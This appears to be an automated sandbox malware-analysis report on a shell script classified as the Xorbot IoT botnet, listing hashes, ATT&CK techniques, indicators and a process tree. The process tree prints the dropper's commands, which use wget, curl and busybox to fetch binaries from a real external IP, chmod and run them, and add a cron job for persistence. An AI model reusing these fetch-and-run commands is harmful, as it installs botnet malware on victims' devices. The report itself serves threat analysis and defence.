xorbot | 14fc537743033a5948506f87016c1e2c4ea8085e17827612c56c230062b20836

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
30-11-2024 03:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

8dfb48b397d092bc48e8d3b7d32069a0
SHA1

81021529c60b12e548c19e8b1d5484a7aa00534d
SHA256

14fc537743033a5948506f87016c1e2c4ea8085e17827612c56c230062b20836
SHA512

7bb13f38afc39d6cad3c95ef1508d10479725e481cf90441c8359903b451379777d2897601289cdbd1f7c1a33eb7be4dc3b3f8b3d4c78ad8cf9460a1fd687525
SSDEEP

192:Da2B5xoc2IU0ORV74+WNtiSYQB5xocIlU0ORVC+W+:u2B5xoc2IU0ORV78tiSFB5xocIlU0OR3

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral1/files/fstream-3.dat	family_xorbot
behavioral1/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2142) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmod

pid	Process
1483	chmod
1490	chmod
1497	chmod

Executes dropped EXE 3 IoCs

Processes:

oGGGTr6G5WEemElzljRhFuqicguT1YBXDkkWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx9NvGxvrwezPMVyG7adNGLsaK188LzscFDp

ioc	pid	Process
/tmp/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk	1484	oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
/tmp/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx	1491	kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
/tmp/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp	1498	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp

Renames itself 1 IoCs

Processes:

9NvGxvrwezPMVyG7adNGLsaK188LzscFDp

pid	Process
1499	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.h5JEhb	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

9NvGxvrwezPMVyG7adNGLsaK188LzscFDp

description	ioc	Process
File opened for reading	/proc/1532/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1675/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1772/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/4/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1726/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1733/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1664/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1602/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1059/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1136/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1535/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1538/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1671/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1746/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/164/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/590/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1577/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1649/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1661/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1721/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1728/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/167/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1645/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1607/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1701/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1715/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1548/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1167/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/17/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1309/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1533/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1552/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1581/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1719/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/645/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1681/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1651/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1682/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1723/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/666/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1724/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1732/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1600/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1541/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1043/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1235/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1355/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1560/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1588/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1601/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1691/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/35/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/409/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1066/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1125/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1512/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1524/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1531/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1618/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/21/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1744/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1729/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1743/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
File opened for reading	/proc/1613/cmdline	9NvGxvrwezPMVyG7adNGLsaK188LzscFDp

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetwgetcurlbusyboxcurlbusyboxwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp	wget
File opened for modification	/tmp/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk	wget
File opened for modification	/tmp/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk	curl
File opened for modification	/tmp/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk	busybox
File opened for modification	/tmp/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx	curl
File opened for modification	/tmp/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx	busybox
File opened for modification	/tmp/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx	wget
File opened for modification	/tmp/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp	curl
File opened for modification	/tmp/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1465
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1466
- /usr/bin/wget
  wget http://216.126.231.240/bins/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
  2⤵
  - Writes file to tmp directory
  PID:1467
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
  2⤵
  - Writes file to tmp directory
  PID:1480
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
  2⤵
  - Writes file to tmp directory
  PID:1481
- /bin/chmod
  chmod 777 oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
  2⤵
  - File and Directory Permissions Modification
  PID:1483
- /tmp/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
  ./oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
  2⤵
  - Executes dropped EXE
  PID:1484
- /bin/rm
  rm oGGGTr6G5WEemElzljRhFuqicguT1YBXDk
  2⤵
  PID:1486
- /usr/bin/wget
  wget http://216.126.231.240/bins/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
  2⤵
  - Writes file to tmp directory
  PID:1487
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
  2⤵
  - Writes file to tmp directory
  PID:1488
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
  2⤵
  - Writes file to tmp directory
  PID:1489
- /bin/chmod
  chmod 777 kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
  2⤵
  - File and Directory Permissions Modification
  PID:1490
- /tmp/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
  ./kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
  2⤵
  - Executes dropped EXE
  PID:1491
- /bin/rm
  rm kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx
  2⤵
  PID:1493
- /usr/bin/wget
  wget http://216.126.231.240/bins/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
  2⤵
  - Writes file to tmp directory
  PID:1494
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
  2⤵
  - Writes file to tmp directory
  PID:1495
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
  2⤵
  - Writes file to tmp directory
  PID:1496
- /bin/chmod
  chmod 777 9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
  2⤵
  - File and Directory Permissions Modification
  PID:1497
- /tmp/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
  ./9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1498
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1500
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1501
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1502
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1503
- /bin/rm
  rm 9NvGxvrwezPMVyG7adNGLsaK188LzscFDp
  2⤵
  PID:1505
- /usr/bin/wget
  wget http://216.126.231.240/bins/fYeyeLAZURKE2xci6xa3slGZiw6R3GKjQH
  2⤵
  PID:1508

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/9NvGxvrwezPMVyG7adNGLsaK188LzscFDp

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/kWoBrYudMSo9lPC8Tj32iiOr3YEVqJ1GNx

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/oGGGTr6G5WEemElzljRhFuqicguT1YBXDk

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.h5JEhb

Filesize
210B

MD5
6b235ca76a638f0549d9c16866310863

SHA1
1616ec8f632502bbac009de9d24f711ddbe71649

SHA256
d2f0c057975de45eeefcd15cc7da306fc21ac080bd9c4c1cc53ea43f5c135235

SHA512
817219db562592dcfbd54d2636fbd69026d24393e0a4f1dfa5fe0491e21454f3368dd0a69c019bb5405558a958b7ff160b644dd26e311cd5e5a5ae437091ead5

Download Submit